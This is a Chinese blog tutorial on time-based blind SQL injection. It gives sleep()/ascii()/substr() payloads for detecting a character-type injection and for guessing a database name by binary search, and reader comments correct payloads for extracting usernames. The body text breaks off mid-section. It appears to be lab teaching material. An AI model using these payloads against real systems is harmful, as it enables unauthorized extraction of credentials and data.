SQL盲注(延时注入)

最新推荐文章于 2025-03-20 23:21:07 发布

原创

最新推荐文章于 2025-03-20 23:21:07 发布 · 1.2w 阅读

CC 4.0 BY-SA版权

文章标签：

本文详细介绍了SQL盲注的过程，包括判断注入类型、猜解数据库名、表名、字段名及数据。通过二分法和特定函数如sleep()、ascii()、substr()等，逐步揭示数据库信息。最终，成功获取了用户名admin和其密码的MD5值，展示了完整的SQL盲注攻击流程。

思路：
*判断是否存在注入，注入是字符型还是数字型
*猜解当前数据库名
*猜解数据库表名
*猜解字段名
*猜解数据
1判断注入类型

payload	result
1’ and sleep(5) #	延迟
1 and sleep(5)#	没有延迟

存在字符型注入
2猜解当前数据库名
2.1猜解数据库名的长度：

说明数据库名长度为4个字符。
2.2采用二分法猜解数据库名：

payload	result
1’ and if(ascii(substr(database(),1,1))>97,sleep(5),1) #	延迟
…
1’ and if(ascii(substr(database(),1,1))<100,sleep(5),1)#	没有延迟
1’ and if(ascii(substr(database(),1,1))>100,sleep(5),1) #	没有延迟

说明数据库的第一个字符为小写字母d(ASCII码：100）
重复上述步骤，就能猜解出数据库名。
3猜解数据库的表名
3

6 条评论

柠檬柚子小建 2020.10.15
为什么我这里猜解用户名也错了？有大佬帮忙解决一下么
- JKding123回复柠檬柚子小建 2020.10.26
  语句应该是这样 [code=sql] mysql> select 1 and if(ascii(substr((select username from users limit 0,1),1,1))=97,sleep(5),1); +-----------------------------------------------------------------------------------+ | 1 and if(ascii(substr((select username from users limit 0,1),1,1))=97,sleep(5),1) | +-----------------------------------------------------------------------------------+ | 1 | +-----------------------------------------------------------------------------------+ 1 row in set (0.00 sec) mysql> select 1 and if(ascii(substr((select username from users limit 0,1),1,1))=68,sleep(5),1); +-----------------------------------------------------------------------------------+ | 1 and if(ascii(substr((select username from users limit 0,1),1,1))=68,sleep(5),1) | +-----------------------------------------------------------------------------------+ | [/code]

L1s4 2020.09.22
博主，猜解第一个用户名长度那句sql是不是出错了，substr应该多余了，sql报错 [code=sql] and if((select length((select user from users limit 0,1))=1),sleep(5),1)--+ [/code] 这句sql能判断出用户名长度
- JKding123回复L1s4 2020.10.26
  确实有问题，感谢指正[code=sql] mysql> select 1 and if(length((select username from users limit 0,1))=4,sleep(5),1); +-----------------------------------------------------------------------+ | 1 and if(length((select username from users limit 0,1))=4,sleep(5),1) | +-----------------------------------------------------------------------+ | 0 | +-----------------------------------------------------------------------+ 1 row in set (5.01 sec) mysql> select 1 and if(length((select username from users limit 0,1))=5,sleep(5),1); +-----------------------------------------------------------------------+ | 1 and if(length((select username from users limit 0,1))=5,sleep(5),1) | +-----------------------------------------------------------------------+ | 1 | +-----------------------------------------------------------------------+ [/code]